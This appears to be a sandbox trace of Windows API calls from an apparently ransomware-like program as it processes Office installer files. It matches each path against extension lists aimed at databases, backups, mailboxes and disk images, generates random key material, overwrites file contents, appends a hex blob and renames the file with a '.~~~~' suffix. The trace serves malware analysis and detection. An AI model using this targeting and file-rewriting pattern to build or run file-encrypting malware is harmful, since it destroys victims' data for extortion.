	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".db") returned 0x0
	[0073.584] lstrlenW (lpString=".TXT") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".TXT") returned 0x0
	[0073.584] lstrlenW (lpString=".MDF") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".MDF") returned 0x0
	[0073.584] lstrlenW (lpString=".bdb") returned 4
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".bdb") returned 0x0
	[0073.584] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0073.584] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0073.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7100
	[0073.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0073.585] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0073.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0073.586] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0073.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f1268
	[0073.586] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19357600191) returned 1
	[0073.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9693b2b0, dwHighDateTime=0x1d60e1e)) 
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e1f0
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0073.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1f0 | out: hHeap=0x300000) returned 1
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0073.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7258
	[0073.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0073.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0073.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0073.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0073.587] GetLastError () returned 0x0
	[0073.587] SetLastError (dwErrCode=0x0) 
	[0073.587] GetLastError () returned 0x0
	[0073.587] SetLastError (dwErrCode=0x0) 
	[0073.587] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0073.587] GetLastError () returned 0x0
	[0073.587] SetLastError (dwErrCode=0x0) 
	[0073.587] GetLastError () returned 0x0
	[0073.587] SetLastError (dwErrCode=0x0) 
	[0073.587] GetLastError () returned 0x0
	[0073.587] SetLastError (dwErrCode=0x0) 
	[0073.587] GetLastError () returned 0x0
	[0073.587] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.588] SetLastError (dwErrCode=0x0) 
	[0073.588] GetLastError () returned 0x0
	[0073.589] SetLastError (dwErrCode=0x0) 
	[0073.589] GetLastError () returned 0x0
	[0073.589] SetLastError (dwErrCode=0x0) 
	[0073.589] GetLastError () returned 0x0
	[0073.589] SetLastError (dwErrCode=0x0) 
	[0073.589] GetLastError () returned 0x0
	[0073.589] SetLastError (dwErrCode=0x0) 
	[0073.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0073.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x280bfd0
	[0073.590] ReadFile (in: hFile=0x12c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0073.594] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.594] WriteFile (in: hFile=0x12c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0073.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0073.595] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.595] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0073.597] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0073.597] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0073.597] CloseHandle (hObject=0x12c) returned 1
	[0075.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0075.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.~~~~")) returned 1
	[0075.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0075.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0075.324] GetLastError () returned 0x0
	[0075.324] SetLastError (dwErrCode=0x0) 
	[0075.324] GetLastError () returned 0x0
	[0075.324] SetLastError (dwErrCode=0x0) 
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1268 | out: hHeap=0x300000) returned 1
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7100 | out: hHeap=0x300000) returned 1
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0075.325] RtlWakeConditionVariable () returned 0x365f70
	[0075.325] GetCurrentThreadId () returned 0x3a4
	[0075.325] GetCurrentThreadId () returned 0x3a4
	[0075.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e73a8
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7648 | out: hHeap=0x300000) returned 1
	[0075.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3b0 | out: hHeap=0x300000) returned 1
	[0075.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7648
	[0075.325] lstrlenW (lpString=".scr") returned 4
	[0075.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".scr") returned 0x0
	[0075.325] lstrlenW (lpString=".cmd") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".cmd") returned 0x0
	[0075.326] lstrlenW (lpString=".dll") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dll") returned 0x0
	[0075.326] lstrlenW (lpString=".bat") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".bat") returned 0x0
	[0075.326] lstrlenW (lpString=".cpl") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".cpl") returned 0x0
	[0075.326] lstrlenW (lpString=".sys") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".sys") returned 0x0
	[0075.326] lstrlenW (lpString=".msc") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".msc") returned 0x0
	[0075.326] lstrlenW (lpString=".com") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".com") returned 0x0
	[0075.326] lstrlenW (lpString=".lnk") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".lnk") returned 0x0
	[0075.326] lstrlenW (lpString=".msp") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".msp") returned 0x0
	[0075.326] lstrlenW (lpString=".pif") returned 4
	[0075.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".pif") returned 0x0
	[0075.326] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0075.327] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0075.327] lstrlenW (lpString=".sqb") returned 4
	[0075.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".sqb") returned 0x0
	[0075.327] lstrlenW (lpString=".ost") returned 4
	[0075.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".ost") returned 0x0
	[0075.327] lstrlenW (lpString=".txt") returned 4
	[0075.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".txt") returned 0x0
	[0075.327] lstrlenW (lpString=".mdt") returned 4
	[0075.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".mdt") returned 0x0
	[0075.327] lstrlenW (lpString=".BDB") returned 4
	[0075.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".BDB") returned 0x0
	[0075.327] lstrlenW (lpString=".eql") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".eql") returned 0x0
	[0075.328] lstrlenW (lpString=".DBF") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DBF") returned 0x0
	[0075.328] lstrlenW (lpString=".EQL") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".EQL") returned 0x0
	[0075.328] lstrlenW (lpString=".FDB") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".FDB") returned 0x0
	[0075.328] lstrlenW (lpString=".EDB") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".EDB") returned 0x0
	[0075.328] lstrlenW (lpString=".DACPAC") returned 7
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0075.328] lstrlenW (lpString=".VHD") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".VHD") returned 0x0
	[0075.328] lstrlenW (lpString=".DBV") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DBV") returned 0x0
	[0075.328] lstrlenW (lpString=".dacpac") returned 7
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dacpac") returned 0x0
	[0075.328] lstrlenW (lpString=".sdf") returned 4
	[0075.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".sdf") returned 0x0
	[0075.328] lstrlenW (lpString=".accdb") returned 6
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".accdb") returned 0x0
	[0075.329] lstrlenW (lpString=".DBX") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DBX") returned 0x0
	[0075.329] lstrlenW (lpString=".MDT") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".MDT") returned 0x0
	[0075.329] lstrlenW (lpString=".SQB") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".SQB") returned 0x0
	[0075.329] lstrlenW (lpString=".vhd") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".vhd") returned 0x0
	[0075.329] lstrlenW (lpString=".bac") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".bac") returned 0x0
	[0075.329] lstrlenW (lpString=".mdf") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".mdf") returned 0x0
	[0075.329] lstrlenW (lpString=".BAK") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".BAK") returned 0x0
	[0075.329] lstrlenW (lpString=".BAC") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".BAC") returned 0x0
	[0075.329] lstrlenW (lpString=".dbs") returned 4
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dbs") returned 0x0
	[0075.329] lstrlenW (lpString=".vhdx") returned 5
	[0075.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".vhdx") returned 0x0
	[0075.329] lstrlenW (lpString=".NDF") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".NDF") returned 0x0
	[0075.330] lstrlenW (lpString=".dat") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dat") returned 0x0
	[0075.330] lstrlenW (lpString=".DBS") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DBS") returned 0x0
	[0075.330] lstrlenW (lpString=".CKP") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".CKP") returned 0x0
	[0075.330] lstrlenW (lpString=".edb") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".edb") returned 0x0
	[0075.330] lstrlenW (lpString=".PST") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".PST") returned 0x0
	[0075.330] lstrlenW (lpString=".dbf") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dbf") returned 0x0
	[0075.330] lstrlenW (lpString=".SQL") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".SQL") returned 0x0
	[0075.330] lstrlenW (lpString=".pst") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".pst") returned 0x0
	[0075.330] lstrlenW (lpString=".dbv") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dbv") returned 0x0
	[0075.330] lstrlenW (lpString=".SDF") returned 4
	[0075.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".SDF") returned 0x0
	[0075.331] lstrlenW (lpString=".dtxs") returned 5
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dtxs") returned 0x0
	[0075.331] lstrlenW (lpString=".db3") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".db3") returned 0x0
	[0075.331] lstrlenW (lpString=".OST") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".OST") returned 0x0
	[0075.331] lstrlenW (lpString=".dbx") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dbx") returned 0x0
	[0075.331] lstrlenW (lpString=".DB3") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DB3") returned 0x0
	[0075.331] lstrlenW (lpString=".DAT") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DAT") returned 0x0
	[0075.331] lstrlenW (lpString=".VHDX") returned 5
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".VHDX") returned 0x0
	[0075.331] lstrlenW (lpString=".ndf") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".ndf") returned 0x0
	[0075.331] lstrlenW (lpString=".DB") returned 3
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DB") returned 0x0
	[0075.331] lstrlenW (lpString=".sql") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".sql") returned 0x0
	[0075.331] lstrlenW (lpString=".MYD") returned 4
	[0075.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".MYD") returned 0x0
	[0075.331] lstrlenW (lpString=".DBT") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DBT") returned 0x0
	[0075.332] lstrlenW (lpString=".ACCDB") returned 6
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0075.332] lstrlenW (lpString=".fdb") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".fdb") returned 0x0
	[0075.332] lstrlenW (lpString=".bak") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".bak") returned 0x0
	[0075.332] lstrlenW (lpString=".myd") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".myd") returned 0x0
	[0075.332] lstrlenW (lpString=".DTXS") returned 5
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".DTXS") returned 0x0
	[0075.332] lstrlenW (lpString=".ckp") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".ckp") returned 0x0
	[0075.332] lstrlenW (lpString=".dbt") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".dbt") returned 0x0
	[0075.332] lstrlenW (lpString=".db") returned 3
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".db") returned 0x0
	[0075.332] lstrlenW (lpString=".TXT") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".TXT") returned 0x0
	[0075.332] lstrlenW (lpString=".MDF") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".MDF") returned 0x0
